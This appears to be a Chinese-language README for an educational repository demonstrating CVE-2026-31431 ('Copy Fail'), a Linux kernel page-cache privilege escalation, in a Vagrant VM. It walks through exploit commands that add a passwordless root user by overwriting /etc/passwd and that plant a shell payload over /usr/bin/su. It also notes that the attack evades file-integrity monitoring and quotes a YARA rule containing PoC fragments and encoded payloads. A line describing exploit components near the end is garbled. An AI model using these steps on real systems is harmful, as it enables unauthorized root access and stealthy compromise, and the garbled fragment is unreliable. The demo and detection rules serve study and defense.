对 CVE-2026-31431(Linux 内核 Copy Fail 本地权限提升漏洞)的演示与说明。 该漏洞允许以只读权限打开的文件在页缓存中的数据被覆盖。
本仓库仅用于教育目的,并在受控环境中演示该漏洞。 包含的文件如下:
├── exploit
│ ├── copy_fail.py # 自定义漏洞利用程序,可针对任何具有读权限的文件
│ ├── original_payload.txt # 原始漏洞利用程序中所用载荷的副本
│ ├── copy_fail_original.py # 原始漏洞利用程序,会覆盖 /usr/bin/su
│ └── copy_fail_readable.py # 原始漏洞利用程序的可读版本,并附有载荷说明
├── README.md
└── Vagrantfile # 运行 Ubuntu 22.04 的 Vagrant 虚拟机配置
该漏洞名为 Copy Fail,由于 algif_aead 中的逻辑缺陷,存在于 2017 年至 2026 年的 Linux 内核中。它被分配为 CVE-2026-31431,CVSS 评分为 7.8,属于高危级别。该漏洞利用具有确定性,并可绕过传统的文件完整性监控工具。
各种语言的概念验证已发布,包括 C、Python 和 Go,但本演示使用 Python,并且需要 Python 3.10 或更高版本。 该漏洞利用需要以非特权用户身份进行本地代码执行,可用于本地权限提升。
以下各节为:
确保已安装 Vagrant 和 QEMU。然后克隆本仓库并进入项目目录。
vagrant up
vagrant ssh
在虚拟机内,我们可以测试自身能力的边界。
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # 系统提示输入 root 密码,而我们没有
stat /usr/bin/su # 我们拥有读和执行权限
stat /etc/passwd # 我们拥有读权限
stat /etc/shadow # 我们没有任何权限
我们的能力显然受到限制,但我们可以利用该漏洞来提升权限。
为了理解该漏洞,让我们覆盖一个虚拟文件,看看会发生什么。
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
我们有一个包含三行的文件。第一行有 6 个字节(包括换行符),第二行有 2 个字节,第三行是单个字节。这一点很重要,因为该漏洞利用以 4 字节为块覆盖数据,而我们会填充载荷以将其填满。
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
可以看到,我们已经用载荷替换了文件的前 8 个字节。有两个字符存在但不可打印。用 nano 打开文件查看。
但这还不够有趣,所以让我们继续写入我们没有写权限的文件。
我们可以覆盖 /etc/passwd 的内容,添加一个具有 root 权限但无密码的用户。
cat /etc/passwd
第一行包含 root 用户,并包含 8 组 4 个字符(包括换行符)。其格式如下 root:x:0:0:root:/root:/bin/bash,各值分别表示用户名、密码、UID、GID、主目录、shell。
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
我们添加了一个新用户 hackd,其 UID 为 0、GID 为 0,这意味着它具有 root 权限。密码字段为空,因此我们可以无需密码登录。
su hackd
id
cat /etc/shadow
在原始漏洞利用中,二进制文件 /usr/bin/su 被覆盖为执行 shell 的指令,使攻击者在执行 su 时获得 root 权限。我们可以通过使用文件中的原始载荷针对 /usr/bin/su 来重现该漏洞利用。
请注意,这会破坏此页缓存中的 su 二进制文件。
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
载荷就位后,我们可以执行 su 并获得 root 权限。这会打开一个用户 ID 为 0 的 shell,通常是 root 用户,但如果执行了上述演示,则会是我们创建的 hackd 用户。即使 root 用户设置了密码,该漏洞利用也会打开一个 shell。
su
id
该漏洞利用不会修改磁盘上的文件,而是修改页缓存状态。因此,检查磁盘上文件是否发生变化的传统文件完整性监控工具无法检测到该漏洞利用。
为演示这一点,请运行上述漏洞利用程序,然后在重启虚拟机后检查目标文件的内容。
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # 磁盘上的文件未发生变化
社区 GitHub 仓库中共享了检测规则,试图检测网络指标或已知脚本模式。这些检测规则基于公开的 PoC 产物、已知载荷、代码片段和 URL。
例如,以下规则可检测特定的 PoC 相关代码片段或编码载荷:
rule EXPL_LNX_Copy_Fail_Artefacts_CVE_2026_31431_Apr26 {
meta:
...
strings:
...
// Code fragments from public PoCs
$xs1 = "| python3 && su"
$xs2 = "g.open(\"/usr/bin/su\",0);i=0;"
$xs3 = "[-] page-cache mutation failed"
$xs4 = "[+] /etc/passwd page cache mutated"
$xs5 = "bind(AF_ALG: authencesn(hmac(sha256),cbc(aes)))"
$xs6 = "/tmp/.cve_test"
...
// Payloads used in the Go version
$xg1 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3"
$xg2 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858"
$xg3 = "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578"
$xg4 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf"
$xg5 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180"
$xg6 = "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509"
...
condition:
1 of ($x*)
or ($sa1 and 1 of ($sb*))
}
该漏洞利用中使用了以下组件:
AD||CT||TAGTAG 之后来就地交换它们的顺序seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo引入该漏洞的就地优化提交:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
该补丁在没有任何公开公告的情况下完成,移除了 algif_aead 中就地操作的功能:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
延伸阅读:
Python 实现
C 实现
Go 实现